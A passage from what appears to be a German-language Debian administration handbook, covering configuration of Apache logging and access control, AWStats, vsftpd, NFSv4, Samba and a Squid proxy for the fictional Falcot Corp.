Der Apache-Server, so wie er bis jetzt konfiguriert ist, benutzt für alle virtuellen Hosts dieselben Protokolldateien (obwohl dies durch das Hinzufügen von CustomLog-Anweisungen in den Definitionen der virtuellen Hosts geändert werden könnte). Es ist daher sehr sinnvoll, das Format dieser Protokolldatei so anzupassen, dass es den Namen des virtuellen Hosts enthält. Dies kann durch die Erstellung einer Datei namens /etc/apache2/conf-available/customlog.conf erreicht werden, die für alle Protokolldateien (mit der LogFormat-Anweisung) ein anderes Format festlegt und durch Einschalten mit a2enconf customlog. Außerdem muss die CustomLog-Zeile aus der Datei /etc/apache2/sites-available/000-default.conf entfernt (oder auskommentiert) werden.

Beispiel 11.17. Die Datei /etc/apache2/conf.d/customlog.conf

# Neues Log-Format einschließlich des (virtuellen) Hostnamens
LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Jetzt soll dieses „vhost“-Format standardmäßig benutzt werden
CustomLog /var/log/apache2/access.log vhost

11.2.3. Gebräuchliche Anweisungen

Dieser Abschnitt rekapituliert in Kürze einige der häufig genutzten Konfigurations-Direktiven von Apache.

Die Hauptkonfigurationsdatei enthält gewöhnlich mehrere Directory-Blöcke; sie ermöglichen es, unterschiedliches Verhalten des Servers in Abhängigkeit von der zu liefernden Datei festzulegen. Solch ein Block enthält häufig Anweisungen des Typs Options und AllowOverride.

Beispiel 11.18. Verzeichnisblock

<Directory /var/www>
Options Includes FollowSymlinks
AllowOverride All
DirectoryIndex index.php index.html index.htm
</Directory>

Die Anweisung DirectoryIndex enthält eine Liste von Dateien, die ausgewählt werden sollen, wenn die Client-Anfrage auf ein Verzeichnis zutrifft. Die in der Liste als erste aufgeführte Datei wird herangezogen und als Antwort gesendet.

Auf die Anweisung Options folgt eine Liste von zu aktivierenden Optionen. Der Wert None deaktiviert alle Optionen; dementsprechend aktiviert All alle außer MultiViews. Unter anderem stehen folgende Optionen zur Verfügung:

- ExecCGI bedeutet, dass CGI-Skripte ausgeführt werden können.

- FollowSymlinks teilt dem Server mit, dass er symbolischen Verweisen folgen kann, und dass die Antwort den Inhalt des Ziels solcher Verweise enthalten soll.

- SymlinksIfOwnerMatch weist den Server ebenfalls an, symbolischen Verweisen zu folgen, aber nur, wenn der Verweis und sein Ziel demselben Benutzer gehören.

- Includes aktiviert Server Side Includes (abgekürzt SSI). Dies sind in HTML-Seiten eingebettete Anweisungen, die bei jeder Anforderung im laufenden Betrieb ausgeführt werden.

- Indexes weist den Server an, den Inhalt eines Verzeichnisses aufzulisten, falls die von einem Client gesendete HTTP-Anforderung auf ein Verzeichnis ohne Indexdatei weist (das heißt, wenn es in diesem Verzeichnis keine der von der Anweisung DirectoryIndex genannten Dateien gibt).

- MultiViews aktiviert die Inhaltsabstimmung; diese kann vom Server dazu verwendet werden, eine Webseite in der im Browser eingestellten bevorzugten Sprache anzuzeigen.

ZURÜCK ZU DEN GRUNDLAGEN Die Datei .htaccess

Die Datei .htaccess enthält Apache-Konfigurationsanweisungen, die jedes Mal ausgeführt werden, wenn eine Anforderung ein Element des Verzeichnisses betrifft, in dem diese Datei gespeichert ist. Der Geltungsbereich dieser Anweisungen erstreckt sich auch auf alle darunter befindlichen Unterverzeichnisse.

Die meisten Anweisungen, die in einem Directory-Block auftreten können, gelten auch in einer .htaccess-Datei.

Die Anweisung AllowOverride führt alle Optionen auf, die mithilfe einer .htaccess-Datei aktiviert oder deaktiviert werden können. Eine verbreitete Anwendung dieser Option besteht darin, ExecCGI einzuschränken, so dass der Administrator entscheidet, welchen Benutzern es erlaubt ist, Programme unter der Identität des Web-Servers (des Benutzers www-data) auszuführen.

11.2.3.1. Authentifizierung verlangen

Unter manchen Umständen muss der Zugang zu Teilen einer Website beschränkt werden, so dass nur berechtigte Benutzer, die einen Benutzernamen und ein Passwort angeben, Zugang zum Inhalt erhalten.

Beispiel 11.19. Authentifizierung für die Datei .htaccess verlangen

Require valid-user
AuthName "Private directory"
AuthType Basic
AuthUserFile /etc/apache2/authfiles/htpasswd-private

SICHERHEIT Keine Sicherheit

Das in oben stehendem Beispiel verwendete Authentifizierungssystem (Basic) bietet nur geringfügige Sicherheit, da das Passwort als Klartext gesendet wird (es ist nur als base64 kodiert, die eine einfache Kodierungs- aber keine Verschlüsselungsmethode ist). Es sollte auch beachtet werden, dass die mit diesem Verfahren „geschützten“ Dokumente ebenfalls als Klartext über das Netzwerk laufen. Falls Sicherheit wichtig ist, sollte die gesamte HTTP-Verbindung mit SSL verschlüsselt sein.

Die Datei /etc/apache2/authfiles/htpasswd-private enthält eine Liste von Benutzern und Passwörtern; sie wird normalerweise mit dem Befehl htpasswd gehandhabt. Der folgende Befehl wird zum Beispiel dazu benutzt, einen Benutzer hinzuzufügen oder sein Passwort zu ändern:

# htpasswd /etc/apache2/authfiles/htpasswd-private user
New password:
Re-type new password:
Adding password for user user

11.2.3.2. Zugang beschränken

Die Direktive Require steuert Zugriffsbeschränkungen für Verzeichnisse (und rekursiv, deren Unterverzeichnisse).

Es kann eingesetzt werden, um den Zugriff auf der Grundlage vieler Kriterien zu beschränken. Wir werden uns darauf beschränken, die Zugriffsbeschränkung auf der Grundlage der IP-Adresse des Clients zu beschreiben, aber es kann viel mächtiger gemacht werden, besonders wenn mehrere Require Direktiven in einem RequireAll-Block kombiniert werden.

Beispiel 11.20. Nur aus dem lokalen Netzwerk zulassen

Require ip 192.168.0.0/16

ALTERNATIVE Alte Syntax

Die Syntax Require ist nur in Apache 2.4 verfügbar (die Version in Jessie). Für Benutzer von Wheezy ist die Syntax des Apache 2.2 anders, und wir beschreiben sie hier hauptsächlich als Referenz, obwohl sie auch in Apache 2.4 durch das Modul mod_access_compat verfügbar ist.

Die Direktiven Allow from und Deny from steuern Zugriffsbeschränkungen für Verzeichnisse (und, rekursiv, deren Unterverzeichnisse).

Die Anweisung Order informiert den Server über die Reihenfolge, in der die Anweisungen Allow from und Deny from angewendet werden; die zuletzt zutreffende erhält Vorrang. Konkret erlaubt Order deny,allow Zugang, falls kein Deny from gilt, oder falls eine Allow from Anweisung zutrifft. Umgekehrt verweigert Order allow,deny den Zugang, falls keine Allow from Anweisung zutrifft (oder falls eine Deny from Anweisung gilt).

Auf die Anweisungen Allow from und Deny from kann eine IP-Adresse folgen, ein Netzwerk (wie zum Beispiel 192.168.0.0/255.255.255.0, 192.168.0.0/24 oder sogar 192.168.0), ein Host- oder Domain-Name oder das Schlüsselwort all, das jeden bezeichnet.

Zum Beispiel, um Verbindungen standardmäßig abzulehnen, sie aber aus dem lokalen Netzwerk zuzulassen, können Sie folgendes verwenden:

Order deny,allow
Allow from 192.168.0.0/16
Deny from all

11.2.4. Protokoll-Analysatoren

Häufig wird ein Protokoll-Analysator auf einem Web-Server installiert, da er den Administratoren ein genaues Bild der Einsatzmuster des Servers vermittelt.

Die Falcot Corp. Administratoren haben AWStats (Advanced Web Statistics) für die Analyse ihrer Apache-Protokolldateien ausgewählt.

Der erste Konfigurierungsschritt besteht darin, die Datei /etc/awstats/awstats.conf anzupassen. Die Falcot Administratoren lassen sie bis auf die folgenden Parameter unverändert:

LogFile="/var/log/apache2/access.log"
LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"
SiteDomain="www.falcot.com"
HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"
DNSLookup=1
LoadPlugin="tooltips"

All diese Parameter sind durch Kommentare in der Vorlagendatei dokumentiert. Insbesondere bezeichnen die Parameter LogFile und LogFormat den Ort und das Format der Protokolldatei sowie die Information, die sie enthält; SiteDomain und HostAliases führen die verschiedenen Bezeichnungen auf, unter denen die Haupt-Website bekannt ist.

Für Internet-Präsenzen mit starkem Datenverkehr sollte DNSLookup normalerweise nicht auf 1 gesetzt werden; für kleinere, wie die oben beschriebene Falcot-Site, ermöglicht diese Einstellung jedoch besser lesbare Berichte, die vollständige Rechnernamen enthalten statt unverarbeiteter IP-Adressen.

SICHERHEIT Zugang zu Statistiken

AWStats stellt seine Statistiken auf der Website standardmäßig ohne Beschränkungen zur Verfügung, jedoch können Beschränkungen eingerichtet werden, so dass nur einige (wohl interne) IP-Adressen auf sie zugreifen können; die Liste der zugelassenen IP-Adressen muss in dem Parameter AllowAccessFromWebToFollowingIPAddresses festgelegt werden

AWStats wird auch für andere virtuelle Hosts aktiviert; jeder virtuelle Host benötigt seine eigene Konfigurationsdatei, wie zum Beispiel /etc/awstats/awstats.www.falcot.org.conf.

Beispiel 11.21. AWStats-Konfigurationsdatei für einen virtuellen Host

Include "/etc/awstats/awstats.conf"
SiteDomain="www.falcot.org"
HostAliases="falcot.org"

AWStats verwendet zahlreiche im Verzeichnis /usr/share/awstats/icon/ gespeicherte Piktogramme. Damit diese Symbole auf der Website zur Verfügung stehen, muss die Apache-Konfiguration durch das Hinzufügen folgender Anweisung angepasst werden:

Alias /awstats-icon/ /usr/share/awstats/icon/

Einige Minuten später (und nachdem das Skript einige Male gelaufen ist) stehen die Ergebnisse online zur Verfügung:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

VORSICHT Rotation von Protokolldateien

Damit die Statistiken alle Protokolle berücksichtigen, muss AWStats unmittelbar vor dem Rotieren der Apache-Protokolldateien ausgeführt werden. Ein Blick auf die Direktive prerotate in der Datei /etc/logrotate.d/apache2, zeigt, dass man das durch Einfügen eines Symlinks auf /usr/share/awstats/tools/update.sh in /etc/logrotate.d/httpd-prerotate erreicht:

$ cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
daily
missingok
rotate 14
compress
delaycompress
notifempty
create 644 root adm
sharedscripts
postrotate
if /etc/init.d/apache2 status > /dev/null ; then \
/etc/init.d/apache2 reload > /dev/null; \
fi;
endscript
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi; \
endscript
}
$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate
$ sudo ln -sf /usr/share/awstats/tools/update.sh \
/etc/logrotate.d/httpd-prerotate/awstats

Beachten Sie auch, dass die von logrotate erzeugten Protokolldateien für jeden lesbar sein müssen, insbesondere für AWStats. In oben stehendem Beispiel wird dies durch die Zeile create 644 root adm (anstelle der voreingestellten Berechtigung 640) gewährleistet.

11.3. FTP-Dateiserver

FTP (File Transfer Protocol) ist eines der ersten Internet-Protokolle (RFC 959 ist 1985 veröffentlicht worden!). Es wurde zur Verteilung von Dateien benutzt, sogar schon bevor das Web geboren war (das HTTP-Protokoll wurde 1990 entwickelt und formal in seiner 1.0 Version durch RFC 1945 festgelegt, die 1996 veröffentlicht worden ist).

Dieses Protokoll ermöglicht sowohl das Hoch- als auch das Herunterladen von Dateien; daher wird es noch häufig verwendet, um Aktualisierungen auf einer bei einem Internetdienstanbieter untergebrachten Website einzustellen (oder bei irgendeiner anderen Stelle, die Websites aufnimmt). In diesen Fällen wird ein sicherer Zugriff durch eine Benutzerkennung und ein Passwort erreicht; nach der erfolgreichen Authentifizierung gewährt der FTP-Server Lese- und Schreibzugriff auf das Benutzerverzeichnis des jeweiligen Benutzers.

Andere FTP-Server dienen in erster Linie dazu, Dateien zum öffentlichen Download zu verbreiten; Debian-Pakete sind hierfür ein gutes Beispiel. Der Inhalt dieser Server wird von anderen, geografisch entfernten Servern bezogen; er wird dann weniger entfernten Benutzern zur Verfügung gestellt. Dies bedeutet, dass Client-Authentifizierung nicht erforderlich ist; daher wird diese Betriebsart als „anonymes FTP“ bezeichnet. Um ganz genau zu sein, authentifizieren sich die Clients mit dem Benutzernamen anonymous; das Passwort ist dabei üblicherweise die E-Mail-Adresse des Benutzers, aber der Server ignoriert sie.

In Debian stehen zahlreiche FTP-Server zur Verfügung (ftpd, proftpd-basic, pyftpd und so weiter). Die Falcot Corp. Administratoren haben vsftpd gewählt, weil sie den FTP-Server nur dazu benutzen, einige Dateien zu verbreiten (einschließlich eines Debian-Paketdepots); da sie keine weitergehenden Leistungsmerkmale benötigen, haben sie sich dafür entschieden, die Sicherheitsaspekte in den Mittelpunkt zu stellen.

Durch das Installieren des Pakets wird ein Systembenutzer namens ftp erstellt. Dieses Konto wird stets für anonyme FTP-Verbindungen verwendet, und sein Benutzerverzeichnis (/srv/ftp/) ist der Stamm des Verzeichnisbaums, der den Benutzern, die sich mit diesem Dienst verbinden, zur Verfügung gestellt wird. Die Standardkonfiguration (in /etc/vsftpd.conf) erfordert einige Änderungen, um der einfachen Notwendigkeit gerecht zu werden, große Dateien für öffentliche Downloads zur Verfügung zu stellen: anonymer Zugriff muss aktiviert sein (anonymous_enable=YES) und Lesezugriff von lokalen Benutzern muss deaktiviert sein (local_enable=NO). Letzteres ist besonders wichtig, da das FTP-Protokoll keine Verschlüsselung verwendet und das Benutzerpasswort über die Leitung abgefangen werden kann.

11.4. NFS-Dateiserver

NFS (Network File System) ist ein Protokoll, das den Fernzugriff auf ein Dateisystem über ein Netzwerk ermöglicht. Alle Unix-Systeme sind in der Lage, mit diesem Protokoll umzugehen; wenn Windows-Systeme beteiligt sind, muss stattdessen Samba eingesetzt werden.

NFS ist ein sehr nützliches Werkzeug, hat aber in der Vergangenheit unter vielen Einschränkungen gelitten, von denen die meisten mit Version 4 des Protokolls gelöst wurden. Der Nachteil ist, dass die neueste Version von NFS schwieriger zu konfigurieren ist, wenn Sie grundlegende Sicherheitsfunktionen wie Authentifizierung und Verschlüsselung nutzen wollen, da sie dafür auf Kerberos basiert. Ohne diese muss das NFS-Protokoll auf ein vertrauenswürdiges lokales Netzwerk beschränkt werden, da Daten unverschlüsselt über das Netzwerk gehen (ein Sniffer kann es abfangen) und Zugriffsrechte basierend auf der IP-Adresse des Clients vergeben werden (die gefälscht werden kann).

DOKUMENTATION NFS-HOWTO

Eine gute Dokumentation für den Einsatz von NFSv4 ist selten. Hier sind einige Quellen mit Inhalten unterschiedlicher Qualität, aber das sollte zumindest einige Hinweise darauf geben, was man tun kann.

→ https://help.ubuntu.com/community/NFSv4Howto

→ http://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. NFS absichern

Wenn Sie die Kerberos-basierten Sicherheitsfunktionen nicht verwenden, ist es wichtig sicherzustellen, dass nur die Maschinen, die NFS verwenden dürfen, eine Verbindung zu den verschiedenen erforderlichen RPC-Servern herstellen können, da das Basisprotokoll den vom Netzwerk empfangenen Daten vertraut. Die Firewall muss außerdem IP spoofing blockieren, um so einen externen Rechner daran zu hindern, sich als interner auszugeben, und der Zugang zu den passenden Ports muss auf die Rechner beschränkt bleiben, die Zugriff auf die NFS-Freigaben haben sollen.

ZURÜCK ZU DEN GRUNDLAGEN RPC

RPC (Remote Procedure Call) ist ein Unix-Standard für entfernte Dienste. NFS ist ein solcher Dienst.

RPC-Dienste tragen sich in einem als portmapper bekannten Verzeichnis ein. Ein Client, der eine NFS-Anfrage durchführen möchte, wendet sich zunächst an den portmapper (auf Port 111, entweder TCP oder UDP) und fragt nach dem NFS-Server; die Antwort nennt normalerweise Port 2049 (den Standardport für NFS). Nicht alle RPC-Dienste verwenden notwendigerweise einen festen Port.

Ältere Versionen des Protokolls erforderten andere RPC-Dienste, die dynamisch zugewiesene Ports verwendeten. Glücklicherweise werden bei NFS Version 4 nur Port 2049 (für NFS) und 111 (für den Portmapper) benötigt und sind somit einfach per Firewall zu sichern.

11.4.2. NFS-Server

Der NFS-Server ist Teil des Linux-Kernels; in den von Debian bereitgestellten Kerneln ist er als Kernel-Modul eingebaut. Falls der NFS-Server beim Hochfahren automatisch anlaufen soll, sollte das Paket nfs-kernel-server installiert werden; es enthält die entsprechenden Start-Skripten.

Die Konfigurationsdatei des NFS-Servers, /etc/exports, listet die Verzeichnisse auf, die über das Netzwerk zur Verfügung gestellt werden (exported). Zu jeder NFS-Freigabe wird nur den Rechnern Zugang gewährt, die auf dieser Liste stehen. Eine feiner eingestellte Zugangskontrolle kann durch einige Optionen erzielt werden. Die Syntax dieser Datei ist recht einfach:

/freizugebendes/verzeichnis rechner1(option1,option2,...) rechner2(...) ...

Beachten Sie, dass bei NFSv4 alle exportierten Verzeichnisse Teil einer einzigen Hierarchie sein müssen und dass das Wurzelverzeichnis dieser Hierarchie exportiert und mit der Option fsid=0 oder fsid=root identifiziert werden muss.

Jeder Rechner kann entweder durch seinen DNS-Namen oder seine IP-Adresse bestimmt werden. Ganze Rechnergruppen können auch festgelegt werden, indem entweder eine Syntax wie *.falcot.com oder ein IP-Adressbereich wie 192.168.0.0/255.255.255.0 oder 192.168.0.0/24 verwendet wird.

Verzeichnisse werden in der Standardeinstellung (oder durch die Option ro) schreibgeschützt bereitgestellt. Die Option rw ermöglicht Schreibzugriff. NFS-Clients nehmen typischerweise über einen Port Verbindung auf, der Administratorrechte erfordert (mit anderen Worten, unterhalb von 1024); diese Einschränkung kann mit der Option insecure aufgehoben werden (die Option secure ist stillschweigend eingestellt, kann aber auch ausdrücklich angegeben werden, wenn dies der Deutlichkeit halber erforderlich ist).

Standardmäßig beantwortet der Server eine NFS-Anfrage nur dann, wenn der gegenwärtige Plattenzugriff beendet ist (Option sync); dies kann durch die Option async abgestellt werden. Asynchrones Schreiben erhöht die Leistung ein wenig, es verringert jedoch die Zuverlässigkeit, da die Gefahr eines Datenverlusts besteht, falls der Server zwischen der Annahmebestätigung des Schreibauftrags und dem tatsächlichen Schreibvorgang auf der Festplatte abstürzt. Da der voreingestellte Wert (im Vergleich zur früheren Einstellung von NFS) kürzlich geändert wurde, empfiehlt es sich, ihn ausdrücklich einzustellen.

Um einem NFS-Client keinen Root-Zugriff auf das Dateisystem zu geben, werden alle Anfragen, die von einem Root-Benutzer zu kommen scheinen, vom Server so angesehen, als kämen sie vom Benutzer nobody. Dieses Verhalten entspricht der Option root_squash und ist standardmäßig aktiviert. Die Option no_root_squash, die dieses Verhalten abstellt, ist gefährlich und sollte nur in überwachten Umgebungen eingesetzt werden. Die Optionen anonuid=uid und anongid=gid ermöglichen es, anstelle von UID/GID 65534 (was dem User nobody und der Gruppe nogroup entspricht) einen anderen fingierten Benutzer anzugeben.

Mit NFSv4 können Sie die Option sec hinzufügen, um die gewünschte Sicherheitsstufe anzugeben: sec=sys ist der Standard ohne spezielle Sicherheitsmerkmale, sec=krb5 aktiviert nur die Authentifizierung, sec=krb5i fügt Integritätsschutz hinzu, und sec=krb5p ist die umfassendste Stufe, die Datenschutz (mit Datenverschlüsselung) enthält. Damit dies funktioniert, benötigen Sie ein funktionierendes Kerberos-Setup (dieser Service wird in diesem Buch nicht behandelt).

Weitere Optionen stehen zur Verfügung; sie sind auf der Handbuchseite exports(5) dokumentiert.

VORSICHT Erste Installation

Das Start-Skript /etc/init.d/nfs-kernel-server startet den Server nur dann, wenn /etc/exports eine oder mehrere gültig NFS-Freigaben auflistet. Daher muss der NFS-Server, sobald diese Datei bei der Erstkonfigurierung dahingehend geändert wurde, dass sie gültige Einträge enthält, mit folgendem Befehl gestartet werden:

# service nfs-kernel-server start

11.4.3. NFS-Client

Wie bei anderen Dateisystemen, so erfordert auch das Einbinden einer NFS-Freigabe in die Systemhierarchie, dass sie eingehängt wird. Da dieses Dateisystem seine Besonderheiten hat, waren einige Anpassungen in den Syntaxen des Befehls mount und der Datei /etc/fstab erforderlich.

Beispiel 11.22. Manuelles Einhängen mit dem Befehl mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Beispiel 11.23. NFS-Eintrag in der Datei /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

Der oben dargestellte Eintrag hängt beim Hochfahren des Systems das NFS-Verzeichnis /shared/ des Servers arrakis in das lokale Verzeichnis /srv/shared/ ein. Schreibzugriff ist erwünscht (daher der Parameter rw). Die Option nosuid ist eine Schutzmaßnahme, die jegliches setuid- oder setgid-Bit von Programmen, die auf der Freigabe gespeichert sind, entfernt. Falls die NFS-Freigabe nur zum Speichern von Dokumenten dienen soll, ist noexec eine weitere empfehlenswerte Option, die das Ausführen von auf der Freigabe gespeicherten Programmen verhindert. Beachten Sie, dass auf dem Server das Verzeichnis shared unterhalb des NFSv4-Root-Exports liegt (zum Beispiel /export/shared), es ist kein Top-Level-Verzeichnis.

Die Handbuchseite nfs(5) beschreibt alle Optionen näher.

11.5. Einrichten von Windows-Freigaben mit Samba

Samba ist ein Satz von Programmen, die das SMB-Protokoll (auch als „CIFS“ bekannt) auf Linux handhaben. Dieses Protokoll wird von Windows für Netzwerk-Freigaben und Netzwerkdrucker benutzt.

Samba kann auch als Domänencontroller unter Windows agieren. Es ist ein hervorragendes Instrument, um die nahtlose Integration von Linux-Servern und Arbeitsplatzrechnern, die noch unter Windows laufen, zu gewährleisten.

11.5.1. Samba-Server

Das Paket samba enthält die beiden Hauptserver von Samba 4, smbd und nmbd.

DOKUMENTATION Weitere Schritte

Der Samba-Server ist äußerst gut konfigurierbar und vielseitig, kann sehr viele verschiedene Anwendungsfälle bewältigen und sich an sehr unterschiedliche Anforderungen und Netzwerk-Architekturen anpassen. Dieses Buch konzentriert sich nur auf den Anwendungsfall, in dem Samba als eigenständiger Server verwendet wird, aber es kann auch ein NT4 Domain Controller, ein vollständiger Active Directory Domain Controller oder ein einfaches Mitglied einer bestehenden Domain sein (die von einem Windows Server verwaltet werden könnte).

Das Paket samba-doc enthält eine Fülle kommentierter Beispieldateien in /usr/share/doc/samba-doc/examples/.

HILFSPROGRAMM Mit einem Windows-Server authentifizieren

Winbind gibt Systemadministratoren die Möglichkeit, einen Windows-Server als Authentifizierungsserver zu verwenden. Winbind integriert sich auch sauber in PAM und NSS. Dies ermöglicht es, Linux-Rechner so einzurichten, dass alle Benutzer einer Windows-Domäne automatisch ein Konto erhalten.

Weitere Informationen sind im Ordner /usr/share/doc/samba-doc/examples/pam_winbind/ zu finden.

11.5.1.1. Mit debconf konfigurieren

Das Paket erstellt eine minimale Konfiguration während der Erstinstallation, aber Sie sollten unbedingt dpkg-reconfigure samba-common ausführen, um es anzupassen:

Die erste benötigte Information ist der Name der Arbeitsgruppe, zu der der Samba-Server gehören soll (die Antwort in unserem Fall ist FALCOTNET).

Das Paket schlägt auch vor, den WINS-Server mithilfe der Information, die vom DHCP-Daemon bereitgestellt wird, zu identifizieren. Die Falcot Corp. Administratoren haben diese Option abgelehnt, da sie beabsichtigen, den Samba-Server selbst als WINS-Server zu verwenden.

11.5.1.2. Von Hand konfigurieren

11.5.1.2.1. Änderungen in smb.conf

Aufgrund der Erfordernisse bei Falcot müssen weitere Optionen in der Konfigurationsdatei /etc/samba/smb.conf angepasst werden. Die folgenden Auszüge fassen die Änderungen zusammen, die im Abschnitt [global] vorgenommen wurden.

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = FALCOTNET

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
server role = standalone server

# "security = user" is always a good idea. This will require a Unix account
# in this server for every user accessing the server.
security = user

[...]

Zeigt an, dass Samba für das lokale Netzwerk als ein Netbios-Namensserver (WINS) dienen soll.

Dies ist die Standardeinstellung dieses Parameters; da er jedoch für die Samba-Konfiguration wesentlich ist, wird empfohlen, ihn ausdrücklich einzutragen. Jeder Benutzer muss sich vor dem Zugriff auf eine Freigabe authentifizieren.

11.5.1.2.2. Benutzer hinzufügen

Jeder Samba-Benutzer benötigt ein Konto auf dem Server; als erstes müssen die Unix-Konten erstellt, dann die Benutzer in Sambas Datenbank eingetragen werden. Der Unix-Schritt verläuft wie üblich (zum Beispiel unter Verwendung von adduser).

Das Hinzufügen eines bestehenden Benutzers zur Samba-Datenbank erfolgt durch den Befehl smbpasswd -a benutzer; dieser Befehl fragt interaktiv nach dem Passwort.

Ein Benutzer kann mit dem Befehl smbpasswd -x benutzer gelöscht werden. Auch ein Samba-Konto kann zeitweilig deaktiviert werden (mit smbpasswd -d benutzer) und später wieder reaktiviert (mit smbpasswd -e benutzer).

11.5.2. Samba-Client

Die Client-Merkmale in Samba ermöglichen es einem Linux-Rechner, auf Windows-Freigaben und freigegebene Rechner zuzugreifen. Die hierfür benötigten Programme befinden sich in den Paketen cifs-utils und smbclient.

11.5.2.1. Das Programm smbclient

Das Programm smbclient stellt Anfragen an SMB-Server. Es nimmt die Option -U benutzer entgegen, um sich mit dem Server unter einer bestimmten Identität zu verbinden. smbclient //server/freigabe greift interaktiv auf die Freigabe zu, in ähnlicher Weise wie der FTP-Client auf der Befehlszeile. smbclient -L server listet alle auf einem Server verfügbaren (und sichtbaren) Freigaben auf.

11.5.2.2. Windows-Freigaben einhängen

Der Befehl mount ermöglicht es (mit Hilfe von mount.cifs aus dem Paket cifs-utils), eine Windows-Freigabe in die Linux-Dateisystemhierarchie einzuhängen.

Beispiel 11.24. Eine Windows-Freigabe einhängen

mount -t cifs //arrakis/shared /shared \
-o credentials=/etc/smb-credentials

Die Datei /etc/smb-credentials (die nicht von Benutzern lesbar sein darf) hat das folgende Format:

username = benutzer
password = passwort

Weitere Optionen können auf der Befehlszeile angegeben werden; sie sind auf der Handbuchseite mount.cifs(1) vollständig aufgelistet. Insbesondere zwei Optionen können interessant sein: uid und gid ermöglichen es, den Benutzer und die Gruppe der am Einhängepunkt verfügbaren Dateien einzustellen, um den Zugriff nicht auf den Administrator zu begrenzen.

EIn Einhängen einer Windows-Freigabe kann auch in /etc/fstab konfiguriert werden:

//server/shared /shared cifs credentials=/etc/smb-credentials

Eine SMB/CIFS-Freigabe wird mit dem Befehl umount ausgehängt.

11.5.2.3. Auf einem Netzwerkdrucker drucken

CUPS ist eine elegante Lösung, um von einem Linux-Arbeitsplatzrechner aus auf einem von einem Windows-Rechner freigegebenen Drucker zu drucken. Wenn das Paket smbclient installiert ist, ist es mit CUPS möglich, freigegebene Windows-Rechner automatisch zu installieren.

Dies sind die erforderlichen Schritte:

- Melden Sie sich an der Beniutzerschnittstelle von CUPS an: http://localhost:631/admin

- Klicken Sie auf "Drucker hinzufügen".

- Wählen Sie das Gerät Drucker, nehmen Sie „Windows-Printer via SAMBA“.

- Geben Sie den URI für den Drucker ein, er sieht folgendermaßen aus:
smb://benutzer:passwort@server/drucker.

- Geben Sie den Namen ein der den Drucker eindeutig bezeichnet. Dann fügen Sie die Beschreibung und den Aufstellort des Druckers hinzu. Das sind die Angaben, die den Endanwendern angezeigt werden, um den Drucker identifizieren zu können.

- Geben Sie den Hersteller und das Modell des Druckers an oder stellen Sie direkt eine funktionierende Druckerbeschreibung (PPD, PostScript Printer Description) zur Verfügung.

Voilà, der Drucker ist einsatzbereit!

11.6. HTTP/FTP-Proxy

Ein HTTP/FTP-Proxy agiert als Vermittler bei HTTP- und FTP-Verbindungen. Er erfüllt zwei Rollen:

- Zwischenspeichern: Kopien kürzlich heruntergeladener Dokumente werden lokal gespeichert, wodurch mehrfaches Herunterladen vermieden wird.

- Filter-Server: falls die Benutzung des Proxy vorgeschrieben ist (und ausgehende Verbindungen gesperrt werden, wenn sie nicht über den Proxy laufen), kann der Proxy bestimmen, ob die Anfrage erlaubt wird oder nicht.

Falcot Corp. hat Squid als ihren Proxy-Server ausgewählt.

11.6.1. Installieren

Das Debian-Paket squid3 enthält nur den modularen (zwischenspeichernden) Proxy. Das Paket squidguard muss zusätzlich installiert werden, um ihn zu einem Filter-Server zu machen. Zusätzlich stellt squid-cgi eine Anfrage- und Verwaltungsschnittstelle für einen Squid-Proxy bereit.

Vor dem Installieren sollte sichergestellt werden, dass das System seinen eigenen vollständigen Namen feststellen kann: der Befehl hostname -f muss einen vollqualifizierten Namen (einschließlich einer Domain) ergeben. Anderenfalls sollte die Datei /etc/hosts so editiert werden, dass sie den vollständigen Namen des Systems (zum Beispiel arrakis.falcot.com) enthält. Der vollständige Rechnername sollte vom Netz-Administrator bestätigt werden, um mögliche Namenskonflikte zu vermeiden.

11.6.2. Einen Cache konfigurieren

Das Aktivieren der Zwischenspeicherung des Servers geschieht einfach dadurch, dass die Konfigurationsdatei /etc/squid3/squid.conf editiert und es so Rechnern des lokalen Netzwerks ermöglicht wird, Anfragen durch den Proxy zu leiten. Das folgende Beispiel zeigt die von den Falcot Corp. Administratoren vorgenommenen Veränderungen:

Beispiel 11.25. Die Datei /etc/squid3/squid.conf (Auszüge)

# GEBEN SIE HIER IHRE EIGENEN REGELN EIN, UM ZUGRIFF VON ALLEN CLIENTS ZU ERMÖGLICHEN

# Beispiel-Regel, um Zugriff von Ihren lokalen Netzwerken zu ermöglichen.
# Passen Sie sie an, so dass sie Ihre (internen) Netzwerke auflistet, von
# denen aus das Browsen erlaubt sein soll.
acl our_networks src 192.168.1.0/24 192.168.2.0/24
http_access allow our_networks
http_access allow localhost
# Und schließlich verweigern Sie alle sonstigen Zugriffe auf diesen Proxy
http_access deny all

11.6.3. Einen Filter konfigurieren

squid selbst führt die Filterung nicht durch; dieser Arbeitsgang wird an squidGuard delegiert. Ersteres muss dann so konfiguriert werden, dass es mit letzterem zusammenarbeitet. Hierzu wird folgende Anweisung zur Datei /etc/squid3/squid.conf hinzugefügt:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid3/squidGuard.conf

